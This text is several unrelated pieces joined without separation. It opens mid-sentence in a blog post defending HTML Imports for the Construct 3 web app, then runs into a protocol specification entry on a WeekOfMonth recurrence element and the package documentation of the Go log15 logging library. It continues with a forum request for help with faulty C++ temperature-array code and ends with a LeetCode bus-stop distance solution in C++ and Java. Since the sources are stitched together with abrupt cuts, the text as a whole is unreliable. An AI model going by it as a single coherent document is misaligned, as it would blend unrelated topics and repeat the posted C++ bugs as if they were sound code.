jQuery, and so on. The prototype was so obviously going to be a huge mess with that approach that we decided we'd have to bet on all the modern web platform features for it to be feasible. Construct 3 uses to name but a few: CSS Grid, CSS variables (aka custom properties), CSS Containment (also critical for layout performance), the Dialog element, Service Worker, WebGL and WebGL 2, Web Animations, and more. Notice many of these features only recently became available even in just Chrome. In other words, web apps on the scale of Construct 3 have only just become feasible to release. HTML Imports were first released in Chrome 36 in mid-2014. That was just too soon for many web apps of Construct 3's scale to be around. Meanwhile, Google appears to have been putting the most resources in to browser development of all the browser makers. Other browsers are generally playing catch-up, and have a wide array of APIs to consider implementing with limited resources. Understandably they are conservative. Ideally they want to see developer demand and widespread usage of an API so they know it's important it's implemented, but this creates something of a chicken-and-egg situation if they hesitate. Other vendors take a "wait-and-see" approach. In particular some browsers wanted to see how JavaScript Modules play out and how they will interoperate with imports — and Modules are still only just on the cusp of being supported. By now all this postponing from other browser makers has probably put off developers who want to see features with cross-browser support. Finally, as outlined above, I think one of the best use cases for HTML imports is with dialogs. However the <dialog> element itself is still currently only supported in Chrome. So this feature which is a particularly compelling case for imports has no cross-browser support either. This probably also reduces the perceived utility of imports. However it's now been so long, the Chrome team (and some other browser makers) appear to be taking the view that it's a failed feature. I hope this blog post helps counter that perception, and demonstrate the real utility of the feature. We can, and do. However the main reason is performance. Browsers are good at parsing HTML and can start resource fetches ahead of the time they're actually needed. Consider this case: <link rel="import" href="sub-import.html"> <script src="script.js"></script> Ideally we can fetch and even start parsing and pre-compiling script.js while sub-import is still fetching. This ensures maximum performance since as soon as sub-import.html finishes parsing, we can immediately execute a fully parsed copy of script.js. This feature is very difficult to polyfill. The script can be pre-fetched as text, but it has to use ugly blob URLs and still isn't parsed or compiled until it is added to the DOM. Experiments with link preload tags made things slightly worse, not better. It seems only the browser has the power to control the precise scheduling of fetch, parse and execute for scripts. Our polyfill ends up having to wait until sub-import finishes loading in its entirety before even requesting script.js. I've heard of HTML Modules as a possible replacement for HTML Imports, but I can't find much information on what's different about them or how they'd work for a web developer. I do also worry a bit that it's just an exercise in tweaking and renaming it in order to present other browser vendors with something new to consider. In my view, HTML imports in their original form are already very effective. One major concern I've seen is that JavaScript Modules and HTML Imports define two separate dependency systems. Ideally the web will only have one common module system. This is understandable. JavaScript Modules look like the more likely one to pick between the two, so perhaps it's worth considering implementing HTML Imports in terms of JavaScript Modules. I imagine it working like this. Suppose you can import HTML from JavaScript, like a new kind of module: import doc from "./import.html" This would be the same as fetching "import.html" as type "document", and assigning the resulting Document to doc. Now you can access the import document from the script, and perform typical calls like doc.getElementById(...). This actually looks to me like a pretty elegant way to pull in DOM content to a module script. It's also straightforward to statically analyse. doc doc.getElementById(...) Going one step further though, we can actually re-define <link rel="import"> in terms of JS modules. We could say that this: <link rel="import"> <link rel="import" href="import.html"> is equivalent to this: <script type="module"> import doc from "./import.html" </script> In this case 'doc' is not used, but it causes the fetch and propagates through the import's own dependencies. Now your dependencies can also propagate through HTML — but it's entirely based on the JS module system. That means only one module system is used, only one set of deduplication applies, and so on. Hopefully this is an idea worth consideration from browser vendors. HTML imports are a compelling way to structure modern web apps. They arrived too early for their own good, but that doesn't make them less useful. I say this not as a casual developer who has played around with some code demos, but as the lead developer of a commercial PWA that was successfully ported to the browser from a large native Windows app. There is considerable real-world development experience behind this view. I would encourage other developers to experiment with using HTML imports to architect large web apps, and I hope browser vendors can appreciate the great utility of them. If they must be removed or replaced, I hope my suggestion of implementing them in terms of JavaScript modules is useful. If they are completely removed with no replacement, we'll get by fine with our polyfill — but I'd feel that we missed a great opportunity for the future of web development. You can also find our polyfill for HTML Imports on GitHub, which is robust enough to work with Construct 3.
https://www.construct.net/en/blogs/ashleys-blog-2/html-imports-best-web-941
CC-MAIN-2022-27
refinedweb
2,398
62.78
2.2.2.48 WeekOfMonth The WeekOfMonth element is a child element of the Recurrence element (section 2.2.2.37) that specifies either the week of the month or the day of the month for the recurrence, depending on the value of the Type element. It is defined as an element in the Calendar namespace. A command request or response has a minimum of one WeekOfMonth child element per Recurrence element when the value of the Type element (section 2.2.2.45) is either 3 or 6. A command request or response has a maximum of one WeekOfMonth child element per Recurrence element. The value of this element is an unsignedByte data type, as specified in [MS-ASDTYPE] section 2.8. The value of the WeekOfMonth element MUST be between 1 and 5. The value of 5 specifies the last week of the month. The WeekOfMonth element MUST only be included in requests or responses when the Type element (section 2.2.2.45) value is either 3 or 6. When the Type element is set to 3, to indicate monthly on the nth of the month, the WeekOfMonth element MAY be used to specify day of the month on which the event occurs. For more details, see section 2.2.2.37.1..
https://msdn.microsoft.com/en-us/library/ee179130(v=exchg.80).aspx
CC-MAIN-2017-30
refinedweb
216
64.51
By default, Haxe uses basic .NET 2.0 API provided by hxcs library (it ships mscorlib.dll and System.dll from the Mono project). We can specify different .NET version by providing -D net-ver=xx define, where xx is major and minor digits of .NET version number, i.e. -D net-ver=40 for setting .NET version to 4.0. Note that currently, hxcs library only ships DLL files for .NET 2.0 and 4.0. We can make Haxe use a custom set of DLL files as standard .NET framework. To do that, we need to first learn about how Haxe finds standard .NET libraries. Haxe/C# looks for .DLL files in a directory path, constructed from three components: -D net-ver=xx, defaults to 20as described above) net, but could be changed using -D net-target=xxx, where xxxcould be micro, compactor some other). The resulting search path will be <net_std_path>/<net_target>-<net_ver>/, taking in the consideration default values described above, without any specific configuration haxe will load all .NET DLL files found in <hxcs_install_path>/netlib/net-20/. Now if we provide the following options: -D net-target=micro -D net-ver=35 -net-std=/dotnet Haxe will load all .NET DLL files found in /dotnet/micro-35/. Haxe can directly load .NET assembly files (.DLL) and convert its type definitions for use as Haxe types. To load a .NET assembly, use -net-lib library.dll compiler option. Haxe will then automatically parse types defined in that assembly file and make them available for import as Haxe types. Some changes are performed to type naming of C# classes to make them fit into Haxe type system, namely: UnityEnginebecomes unityengine(note that Systemnamespace is also prefixed with cs, so System.Corebecomes cs.system.core) OuterClassName_InnerClassNameand placed into the OuterClassNamemodule. So for example for an inner class Binside a class Ainside a namespace Something, the full Haxe type path will be something.A.A_B. Note however, that if you do import something.A, both Aand A_Bclass will be available within your module as per standard Haxe import mechanism. Dictionary<K,V>becomes Dictionary_2<K,V>
https://haxe.org/manual/target-cs-external-libraries.html
CC-MAIN-2018-43
refinedweb
356
61.22
Users noted that the speed of file creation decreased after migrating to Samba (linux FC15 x64,3.5.12-72.fc15). We use specific software that creates files on Samba Share. I made test software (run on win7, comiled with borland C5.5): #include "stdio.h" #include "stdlib.h" #include "time.h" void main(int argc, char *argv[]) { int fsize=40000000; int i=0; FILE *to; char str[]="0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890"; time_t start, end; double diff; time(&start); to=fopen(argv[1], "w+"); for(i=0; i < fsize/100; i++) { fprintf(to, "\n%7d-%s",i, str); fflush(to); } fclose(to); time(&end); diff=difftime(end,start); printf("\n \t time_diff = %.2lf", diff); } The result (in my enviroment): test.exe \\windows_share\test.txt - 2 seconds test.exe \\linux_samba_share\test.txt - more than 35 seconds. The same time, copying large file to\from samba share gives more than 75 mbytes/sec (over gigabyte ethernet) Please upload a network trace and the output of strace -ttT -o /tmp/smbd.strace -p <smbd-pid> while you are doing the test. Created attachment 7309 [details] strace -ttT -o /tmp/smbd.strace -p Without the network trace I can't say for sure, but to me it seems for some reason the file server does not grant an oplock. Can you check that? Created attachment 7312 [details] strace and tcpdump from Samba Was made during running test program on Win7 x64 client: test.exe y:\temp\test.txt You might try upgrading to Samba 3.6.3 and the setting "max protocol = smb2" (In reply to comment #5) > You might try upgrading to Samba 3.6.3 and the setting "max protocol = smb2" I got advice to try strict allocate = yes option. For the first view, it does the required speed improvement. But I still have idea to try Samba 3.6.3 Ok, so I can close this as "strict allocate = yes" fixes it ? I am not surprised. When creating and allocating files using extents on an ext4 this would have that effect. Jeremy. Closing at reporter's request by private mail
https://bugzilla.samba.org/show_bug.cgi?id=8752
CC-MAIN-2022-40
refinedweb
346
76.62
Short Walks — Setting up a Foreign Key Relationship in Entity Framework [Snippet] Short Walks — Setting up a Foreign Key Relationship in Entity Framework [Snippet] If you're looking to find out how to set up a foreign key relationship using .NET's Entity Framework, then this post is for you. Read on for the details. Join the DZone community and get the full member experience.Join For Free Having had to search for this for the fiftieth time, I thought I'd document it here, so I knew where to look! To set-up a foreign key relationship in EF, the first step is to define your classes; for example: In this case, each Resource has a ResourceType in a simple one-to-many relationship. In the lookup table, in this case: ResourceType, define the key: public class ResourceType { [Key] public int Id { get; set; } public string Name { get; set; } } (You'll need to reference: System.ComponentModel.DataAnnotations) Then, in the main table, in this case Resource, map a field to the Lookup, and then tell it how to store that in the DB: public class Resource { public int Id { get; set; } public int ResourceTypeId { get; set; } [ForeignKey("ResourceTypeId")] public ResourceType ResourceType { get; set; } public string Name { get; set; } } (You'll need to reference: System.ComponentModel.DataAnnotations.Schema) That's it. Once you run Add-Migration, you should have a foreign key relationship set-up. }}
https://dzone.com/articles/short-walks-setting-up-a-foreign-key-relationship?fromrel=true
CC-MAIN-2019-43
refinedweb
235
57.91
go / gddo / d05adabdc16477fb73af52363ee580c7fefac8c3 / . / vendor / github.com / inconshreveable / log15 / doc.go blob: ab7e090d95f1bfde5617367e1d4046c6e6393f6a [ file ] [ log ] [ blame ] /* Package log15 provides an opinionated, simple toolkit for best-practice logging that is both human and machine readable. It is modeled after the standard library's io and net/http packages. This package enforces you to only log key/value pairs. Keys must be strings. Values may be any type that you like. The default output format is logfmt, but you may also choose to use JSON instead if that suits you. Here's how you log: log.Info("page accessed", "path", r.URL.Path, "user_id", user.id) This will output a line that looks like: lvl=info t=2014-05-02T16:07:23-0700 msg="page accessed" path=/org/71/profile user_id=9 Getting Started To get started, you'll want to import the library: import log "github.com/inconshreveable/log15" Now you're ready to start logging: func main() { log.Info("Program starting", "args", os.Args()) } Convention Because recording a human-meaningful message is common and good practice, the first argument to every logging method is the value to the *implicit* key 'msg'. Additionally, the level you choose for a message will be automatically added with the key 'lvl', and so will the current timestamp with key 't'. You may supply any additional context as a set of key/value pairs to the logging function. log15 allows you to favor terseness, ordering, and speed over safety. This is a reasonable tradeoff for logging functions. You don't need to explicitly state keys/values, log15 understands that they alternate in the variadic argument list: log.Warn("size out of bounds", "low", lowBound, "high", highBound, "val", val) If you really do favor your type-safety, you may choose to pass a log.Ctx instead: log.Warn("size out of bounds", log.Ctx{"low": lowBound, "high": highBound, "val": val}) Context loggers Frequently, you want to add context to a logger so that you can track actions associated with it. An http request is a good example. You can easily create new loggers that have context that is automatically included with each log line: requestlogger := log.New("path", r.URL.Path) // later requestlogger.Debug("db txn commit", "duration", txnTimer.Finish()) This will output a log line that includes the path context that is attached to the logger: lvl=dbug t=2014-05-02T16:07:23-0700 path=/repo/12/add_hook msg="db txn commit" duration=0.12 Handlers The Handler interface defines where log lines are printed to and how they are formated. Handler is a single interface that is inspired by net/http's handler interface: type Handler interface { Log(r *Record) error } Handlers can filter records, format them, or dispatch to multiple other Handlers. This package implements a number of Handlers for common logging patterns that are easily composed to create flexible, custom logging structures. Here's an example handler that prints logfmt output to Stdout: handler := log.StreamHandler(os.Stdout, log.LogfmtFormat()) Here's an example handler that defers to two other handlers. One handler only prints records from the rpc package in logfmt to standard out. The other prints records at Error level or above in JSON formatted output to the file /var/log/service.json handler := log.MultiHandler( log.LvlFilterHandler(log.LvlError, log.Must.FileHandler("/var/log/service.json", log.JsonFormat())), log.MatchFilterHandler("pkg", "app/rpc" log.StdoutHandler()) ) Logging File Names and Line Numbers This package implements three Handlers that add debugging information to the context, CallerFileHandler, CallerFuncHandler and CallerStackHandler. Here's an example that adds the source file and line number of each logging call to the context. h := log.CallerFileHandler(log.StdoutHandler) log.Root().SetHandler(h) ... log.Error("open file", "err", err) This will output a line that looks like: lvl=eror t=2014-05-02T16:07:23-0700 msg="open file" err="file not found" caller=data.go:42 Here's an example that logs the call stack rather than just the call site. h := log.CallerStackHandler("%+v", log.StdoutHandler) log.Root().SetHandler(h) ... log.Error("open file", "err", err) This will output a line that looks like: lvl=eror t=2014-05-02T16:07:23-0700 msg="open file" err="file not found" stack="[pkg/data.go:42 pkg/cmd/main.go]" The "%+v" format instructs the handler to include the path of the source file relative to the compile time GOPATH. The github.com/go-stack/stack package documents the full list of formatting verbs and modifiers available. Custom Handlers The Handler interface is so simple that it's also trivial to write your own. Let's create an example handler which tries to write to one handler, but if that fails it falls back to writing to another handler and includes the error that it encountered when trying to write to the primary. This might be useful when trying to log over a network socket, but if that fails you want to log those records to a file on disk. type BackupHandler struct { Primary Handler Secondary Handler } func (h *BackupHandler) Log (r *Record) error { err := h.Primary.Log(r) if err != nil { r.Ctx = append(ctx, "primary_err", err) return h.Secondary.Log(r) } return nil } This pattern is so useful that a generic version that handles an arbitrary number of Handlers is included as part of this library called FailoverHandler. Logging Expensive Operations Sometimes, you want to log values that are extremely expensive to compute, but you don't want to pay the price of computing them if you haven't turned up your logging level to a high level of detail. This package provides a simple type to annotate a logging operation that you want to be evaluated lazily, just when it is about to be logged, so that it would not be evaluated if an upstream Handler filters it out. Just wrap any function which takes no arguments with the log.Lazy type. For example: func factorRSAKey() (factors []int) { // return the factors of a very large number } log.Debug("factors", log.Lazy{factorRSAKey}) If this message is not logged for any reason (like logging at the Error level), then factorRSAKey is never evaluated. Dynamic context values The same log.Lazy mechanism can be used to attach context to a logger which you want to be evaluated when the message is logged, but not when the logger is created. For example, let's imagine a game where you have Player objects: type Player struct { name string alive bool log.Logger } You always want to log a player's name and whether they're alive or dead, so when you create the player object, you might do: p := &Player{name: name, alive: true} p.Logger = log.New("name", p.name, "alive", p.alive) Only now, even after a player has died, the logger will still report they are alive because the logging context is evaluated when the logger was created. By using the Lazy wrapper, we can defer the evaluation of whether the player is alive or not to each log message, so that the log records will reflect the player's current state no matter when the log message is written: p := &Player{name: name, alive: true} isAlive := func() bool { return p.alive } player.Logger = log.New("name", p.name, "alive", log.Lazy{isAlive}) Terminal Format If log15 detects that stdout is a terminal, it will configure the default handler for it (which is log.StdoutHandler) to use TerminalFormat. This format logs records nicely for your terminal, including color-coded output based on log level. Error Handling Becasuse log15 allows you to step around the type system, there are a few ways you can specify invalid arguments to the logging functions. You could, for example, wrap something that is not a zero-argument function with log.Lazy or pass a context key that is not a string. Since logging libraries are typically the mechanism by which errors are reported, it would be onerous for the logging functions to return errors. Instead, log15 handles errors by making these guarantees to you: - Any log record containing an error will still be printed with the error explained to you as part of the log record. - Any log record containing an error will include the context key LOG15_ERROR, enabling you to easily (and if you like, automatically) detect if any of your logging calls are passing bad values. Understanding this, you might wonder why the Handler interface can return an error value in its Log method. Handlers are encouraged to return errors only if they fail to write their log records out to an external source like if the syslog daemon is not responding. This allows the construction of useful handlers which cope with those failures like the FailoverHandler. Library Use log15 is intended to be useful for library authors as a way to provide configurable logging to users of their library. Best practice for use in a library is to always disable all output for your logger by default and to provide a public Logger instance that consumers of your library can configure. Like so: package yourlib import The ability to attach context to a logger is a powerful one. Where should you do it and why? I favor embedding a Logger directly into any persistent object in my application and adding unique, tracing context keys to it. For instance, imagine I am writing a web browser: type Tab struct { url string render *RenderingContext // ... Logger } func NewTab(url string) *Tab { return &Tab { // ... url: url, Logger: log.New("url", url), } } When a new tab is created, I assign a logger to it with the url of the tab as context so it can easily be traced through the logs. Now, whenever we perform any operation with the tab, we'll log with its embedded logger and it will include the tab title automatically: tab.Debug("moved position", "idx", tab.idx) There's only one problem. What if the tab url changes? We could use log.Lazy to make sure the current url is always written, but that would mean that we couldn't trace a tab's full lifetime through our logs after the user navigate to a new URL. Instead, think about what values to attach to your loggers the same way you think about what to use as a key in a SQL database schema. If it's possible to use a natural key that is unique for the lifetime of the object, do so. But otherwise, log15's ext package has a handy RandId function to let you generate what you might call "surrogate keys" They're just random hex identifiers to use for tracing. Back to our Tab example, we would prefer to set up our Logger like so: import logext "github.com/inconshreveable/log15/ext" t := &Tab { // ... url: url, } t.Logger = log.New("id", logext.RandId(8), "url", log.Lazy{t.getUrl}) return t Now we'll have a unique traceable identifier even across loading new urls, but we'll still be able to see the tab's current url in the log messages. Must For all Handler functions which can return an error, there is a version of that function which will return no error but panics on failure. They are all available on the Must object. For example: log.Must.FileHandler("/path", log.JsonFormat) log.Must.NetHandler("tcp", ":1234", log.JsonFormat) Inspiration and Credit All of the following excellent projects inspired the design of this library: code.google.com/p/log4go github.com/op/go-logging github.com/technoweenie/grohl github.com/Sirupsen/logrus github.com/kr/logfmt github.com/spacemonkeygo/spacelog golang's stdlib, notably io and net/http The Name */ package log15
https://go.googlesource.com/gddo/+/d05adabdc16477fb73af52363ee580c7fefac8c3/vendor/github.com/inconshreveable/log15/doc.go
CC-MAIN-2021-43
refinedweb
1,952
63.59
Python wrapper for Allenite's API. Project description Py-Allenite is a full-fleged Python wrapper to develop applications integrating Allenite’s API. ⏩ Quick Example In this example, we will fetch a random meme using the API. main.py from allenite_api import AlleniteClient client = AlleniteClient() meme = client.get_random_meme() # The 0th index is the title and the 1st index is the image url. print(meme[0], ':', meme[1]) 👩🏫 Installation pip install py-allenite 📈 Required Python Modules The list of required python modules can be found in the requirements.txt file. 📜 Documentation To view the documentation for this project, visit the documentation page. Project details Download files Download the file for your platform. If you're not sure which to choose, learn more about installing packages. Source Distribution py-allenite-0.2.0.tar.gz (4.6 kB view hashes)
https://pypi.org/project/py-allenite/0.2.0/
CC-MAIN-2022-40
refinedweb
138
52.05
Convert a ternary expression to a binary tree. Say: a?b:c to a / \ b c a?b?c:d:e to a / \ b e / \ c d Also, think about "a?b:c?d:e" Let's assume the input ternary expression is valid, we can build the tree in preorder manner. Each time we scan two characters, the first character is either ? or :, the second character holds the value of the tree node. When we see ?, we add the new node to left. When we see :, we need to find out the ancestor node that doesn't have a right node, and make the new node as its right child. Time complexity is O(n). public TreeNode convert(char[] expr) { if (expr.length == 0) { return null; } TreeNode root = new TreeNode(expr[0]); Stack<TreeNode> stack = new Stack<>(); for (int i = 1; i < expr.length; i += 2) { TreeNode node = new TreeNode(expr[i + 1]); if (expr[i] == '?') { stack.peek().left = node; } if (expr[i] == ':') { stack.pop(); while (stack.peek().right != null) { stack.pop(); } stack.peek().right = node; } stack.push(node); } return root; } @jeantimex : Thanks. This solutions works considering we add root node on stack as others have suggested. So, based on your algorithm, i have added a Python solution and a test case. from commons.stack import Stack # import custom Stack class class Node(object): """ Tree Node """ def __init__(self, data, left=None, right=None): self.data = data self.left = left self.right = right def inorder_tree(node, result): """ Access Tree in-order """ if node is not None: inorder_tree(node.left, result) result.append(node.data) inorder_tree(node.right, result) def ternary_to_binary_tree(expression): """ Convert ternary expression to Binary Tree """ if not expression: return None # Assuming the expression is of correct form stack = Stack() root = Node(expression[0]) stack.push(root) for index in range(1, len(expression), 2): operator = expression[index] next_char = expression[index + 1] node = Node(next_char) if operator == "?": stack.peek().left = node if operator == ':': stack.pop() while(stack.peek().right != None): stack.pop() stack.peek().right = node stack.push(node) return root if __name__ == '__main__': test = "a?b?c:d:e" root_node = ternary_to_binary_tree(test) expected_result = ['c', 'b', 'd', 'a', 'e'] actual_result = [] # In-order traversal done to test the output inorder_tree(node=root_node, result=actual_result) assert expected_result == actual_result @jeantimex What if the a is "xxx> 3" ? i+= 2 is not a good move. @jeantimex I'd like to ask why do we need the while loop here: while (stack.peek().right != null) { stack.pop(); } If the input is valid, I think using two pop() instead of using the while loop would work. Is that right? public TreeNode convert(char[] expr) { if (expr.length == 0) { return null; } TreeNode root=new TreeNode(expr[0]); Stack<TreeNode> stack=new Stack<>(); queue.add(root); for(int i=1;i<expr.length;i+=2){ if(expr[i]=='?'){ TreeNode node=new TreeNode(expr[i+1]); stack.peek().left=node; stack.push(node); }else if(expr[i]==':'){ stack.pop(); TreeNode cur=stack.pop(); TreeNode node=new TreeNode(expr[i+1]); cur.right=node; stack.push(node); } } return root; } @perfecttt I agree with you. I think your code is more intuitive. But I am not sure in the interview is there any test case that cannot pass through your code. @perfecttt so the reason why we need that while loop is that imagine we have just filled up the rightmost child of a left subtree (in the examplee) ie: String>IMAGE_0<< imagine you just placed h into your tree, your current index is pointing to ":i" and thus are now trying to insert i- at that point your stack (from top to bottom) looks like h,f,b,a we need to pop one node to remove a sibling node, and then keep popping nodes off till we reach a, which at this time has no right child (hence the whole while loop you are asking about) hopefully that clears it up, but if not go ahead and trace through "a?b?c?d:e:f?g:h:i?j:k" for yourself:) cheers! Looks like your connection to LeetCode Discuss was lost, please wait while we try to reconnect.
https://discuss.leetcode.com/topic/28256/ternary-expression-to-binary-tree
CC-MAIN-2018-05
refinedweb
692
67.96
I was spending a lot of time looking around this site to practice with beginner programs. I found one posted by sniper1. And, I tried to make it work. But, now am stuck! Can someone please tell me what is wrong with my code. Problem: 1. [SOLO] Write a program that uses a two-dimensional array to store the highest and lowest temperatures for each month of the year. The program should output the average high, average low, and the highest and lowest temperatures for the year. Your program must consist of the following functions: a. Function getData:This function reads and stores data in the two dimensional array. b. Function averageHigh:This function calculates and returns the average high temperature for the year. c. Function averageHigh:This function calculates and returns the average low temperature for the year. d. Function indexHighTemp:This function returns the index of the highest high temperature in the array. e. Function indexLowTemp:this function returns the index of the lowest low temperature in the array.(These functions must all have the appropriate parameters.) I also wanted the function getData to get the data from a text file which I made. Can't seem to get that to work either. I don't even know if I am on the right track, so any advice would be beneficial. And I have been trying to post my code the correct way [ / code] but, can't even seem to get that to work. So please bear with me. #include <iostream> #include <fstream> #include <iomanip> using namespace std; double getData(ifstream inputF, double high, double low); double averageHigh(); double averageLow(); double indexHighTemp(); double indexLowTemp(); int i, j; double hsum = 0, lsum = 0; double avgh, avgl; double high = 0, low = 0; int ind; int const row = 2, col = 12, num = 12; double temp[row][col]; int main() { ifstream inp; ifstream inputF; if (!inp) { cout << "Unable to open input file!"<<endl; return 1; } inputF.open("c:\Ch9_Ex9Data"); getData(inp); averageHigh(); averageLow(); indexHighTemp(); indexLowTemp(); system("PAUSE"); return 0; } double getData(ifstream inputF, double high, double low) { inputF >> high >> low; } double averageHigh() { for (i = 0; i < col; i++) { hsum = (hsum + (temp[0][i])); } avgh = hsum / 12; cout << "Average High Temperature: "<< endl; cout << avgh; return 0; } double averageLow() { for (i = 0; i < col; i++) { lsum = (lsum + (temp[1][i])); } avgl = lsum / 12; cout << "Average Low Temperature: "<< endl; cout << avgl; return 0; } double indexHighTemp() { ind = 0; for (i = 0; i < col; i++) { if (high <= (temp[0][i])) { high = (temp[0][i]); ind = i; } } cout << "Highest Temperature: "<< endl; cout << (temp[0][ind]); return 0; } double indexLowTemp() { ind = 0; for (i = 0; i < col; i++) { if (low >= (temp[1][i])) { low = (temp[1][i]); ind = i; } } cout << "Lowest Temperature: "<< endl; cout << (temp[1][ind]); return 0; }
https://www.daniweb.com/programming/software-development/threads/137648/trying-to-solve-a-past-thread-from-another-user
CC-MAIN-2017-17
refinedweb
460
61.26
Optimizing¶ Introduction¶ The default configuration makes a lot of compromises. It’s not optimal for any single case, but works well enough for most situations. There are optimizations that can be applied based on specific use cases. Optimizations can apply to different properties of the running environment, be it the time tasks take to execute, the amount of memory used, or responsiveness at times of high load. Ensuring Operations¶ In the book Programming Pearls, Jon Bentley presents the concept of back-of-the-envelope calculations by asking the question; ❝ How much water flows out of the Mississippi River in a day? ❞ The point of this exercise * is to show that there’s a limit to how much data a system can process in a timely manner. Back of the envelope calculations can be used as a means to plan for this ahead of time. In Celery; If a task takes 10 minutes to complete, and there are 10 new tasks coming in every minute, the queue will never be empty. This is why it’s very important that you monitor queue lengths! A way to do this is by using Munin. You should set up alerts, that’ll notify you as soon as any queue has reached an unacceptable size. This way you can take appropriate action like adding new worker nodes, or revoking unnecessary tasks. General Settings¶ Broker Connection Pools¶ The broker connection pool is enabled by default since version 2.5. You can tweak the broker_pool_limit setting to minimize contention, and the value should be based on the number of active threads/green-threads using broker connections. Using Transient Queues¶ Queues created by Celery are persistent by default. This means that the broker will write messages to disk to ensure that the tasks will be executed even if the broker is restarted. But in some cases it’s fine that the message is lost, so not all tasks require durability. You can create a transient queue for these tasks to improve performance: from kombu import Exchange, Queue task_queues = ( Queue('celery', routing_key='celery'), Queue('transient', Exchange('transient', delivery_mode=1), routing_key='transient', durable=False), ) or by using task_routes: task_routes = { 'proj.tasks.add': {'queue': 'celery', 'delivery_mode': 'transient'} } The delivery_mode changes how the messages to this queue are delivered. A value of one means that the message won’t be written to disk, and a value of two (default) means that the message can be written to disk. To direct a task to your new transient queue you can specify the queue argument (or use the task_routes setting): task.apply_async(args, queue='transient') For more information see the routing guide. Worker Settings¶ Prefetch Limits¶ Prefetch is a term inherited from AMQP that’s often misunderstood by users. The prefetch limit is a limit for the number of tasks (messages) a worker can reserve for itself. If it is zero, the worker will keep consuming messages, not respecting that there may be other available worker nodes that may be able to process them sooner †, or that the messages may not even fit in memory. The workers’ default prefetch count is the worker_prefetch_multiplier setting multiplied by the number of concurrency slots ‡ (processes/threads/green-threads). If you have many tasks with a long duration you want the multiplier value to be one: meaning it’ll only reserve one task per worker process at a time. However – If you have many short-running tasks, and throughput/round trip latency is important to you, this number should be large. The worker is able to process more tasks per second if the messages have already been prefetched, and is available in memory. You may have to experiment to find the best value that works for you. Values like 50 or 150 might make sense in these circumstances. Say 64, or 128. If you have a combination of long- and short-running tasks, the best option is to use two worker nodes that are configured separately, and route the tasks according to the run-time (see Routing Tasks). Reserve one task at a time¶ The task message is only deleted from the queue after the task is acknowledged, so if the worker crashes before acknowledging the task, it can be redelivered to another worker (or the same after recovery). When using the default of early acknowledgment, having a prefetch multiplier setting of one, means the worker will reserve at most one extra task for every worker process: or in other words, if the worker is started with -c 10, the worker may reserve at most 20 tasks (10 acknowledged tasks executing, and 10 unacknowledged reserved tasks) at any time. Often users ask if disabling “prefetching of tasks” is possible, but what they really mean by that, is to have a worker only reserve as many tasks as there are worker processes (10 unacknowledged tasks for -c 10) That’s possible, but not without also enabling late acknowledgment. Using this option over the default behavior means a task that’s already started executing will be retried in the event of a power failure or the worker instance being killed abruptly, so this also means the task must be idempotent See also Notes at Should I use retry or acks_late?. You can enable this behavior by using the following configuration options: task_acks_late = True worker_prefetch_multiplier = 1 Footnotes - * The chapter is available to read for free here: The back of the envelope. The book is a classic text. Highly recommended. - † RabbitMQ and other brokers deliver messages round-robin, so this doesn’t apply to an active system. If there’s no prefetch limit and you restart the cluster, there will be timing delays between nodes starting. If there are 3 offline nodes and one active node, all messages will be delivered to the active node. - ‡ This is the concurrency setting; worker_concurrencyor the celery worker -coption.
https://docs.celeryq.dev/en/v5.0.2/userguide/optimizing.html
CC-MAIN-2022-21
refinedweb
973
57.91
The problem Distance Between Bus Stops Leetcode Solution provides us an array of integers describing the distance between the adjacent cities. The cities are given in a circular order. So, the last city is followed by the first city. Now, we are required to find out the minimum distance between the two given cities. So, before moving onto the solution. Let’s see a few examples. distance = [1,2,3,4], start = 0, destination = 1 1 Explanation: The cities arranged in circular order are shown in the image above. Here, in the example, we are provided city 0 as the starting city and city 1 as the destination. So, there are two ways possible to start from city 0 and reach city1. Either we can simply go from city 0 to 1. Or we can follow the path from 0 to 3, 3 to 2, 2 to 1. Now, we will calculate the distance to be traveled from both ways and return the minimum distance. The first path 0 to 1, requires us to travel distance = 1, while the other path requires us to travel distance = 9. Thus the minimum distance is 1 unit. distance = [1,2,3,4], start = 0, destination = 2 3 Explanation: Just as we did in the above example, we calculate the distance in both directions, and return the minimum. Since the two paths are of length 3 and 7. We pick the minimum of the two that is 3. Approach for Distance Between Bus Stops Leetcode Solution The problem Distance Between Bus Stops Leetcode Solution asked to find the minimum distance required to travel if starting city and destination city are given to us. The problem is simple because there can be only two ways to reach the destination. One is if we start in the direction of moving forward and the other moving backward and reaching the destination. We can find the distance for one of the journeys, and the other can be easily calculated by subtracting this distance from the total. Consider, we need to go from city 2 to 5, where a total number of cities is 10. Then we either go from 2 to 5. Or go from 5 to 10, then 10 to 1, and then 1 to 2. The result of the union of both paths is the entire circuit. Thus, we can subtract the distance to get the distance for the other journey. Code C++ code for Distance Between Bus Stops Leetcode Solution #include<bits/stdc++.h> using namespace std; int distanceBetweenBusStops(vector<int>& distance, int start, int destination) { if(start>destination)swap(start, destination); int total = 0, first_path = 0; for(int i=0;i<distance.size();i++){ if(i>=start && i<destination) first_path += distance[i]; total += distance[i]; } return min(total - first_path, first_path); } int main(){ vector<int> distance = {1, 2, 3, 4}; cout<<distanceBetweenBusStops(distance, 0, 1); } 1 Java code for Distance Between Bus Stops Leetcode Solution import java.util.*; import java.lang.*; import java.io.*; class Main { public static int distanceBetweenBusStops(int[] distance, int start, int destination) { if(start>destination){ int t = start; start = destination; destination = t; } int total = 0, first_path = 0; for(int i=0;i<distance.length;i++){ if(i>=start && i<destination) first_path += distance[i]; total += distance[i]; } return Math.min(total - first_path, first_path); } public static void main (String[] args) throws java.lang.Exception { int[] distance = {1, 2, 3, 4}; System.out.println(distanceBetweenBusStops(distance, 0, 1)); } } 1 Complexity Analysis Time Complexity O(N), where N is the number of cities. Since we had to travel through all the cities. The time complexity is linear. Space Complexity O(1), since we used only a single variable. The space complexity is constant.
https://www.tutorialcup.com/leetcode-solutions/distance-between-bus-stops-leetcode-solution.htm
CC-MAIN-2021-31
refinedweb
618
56.55
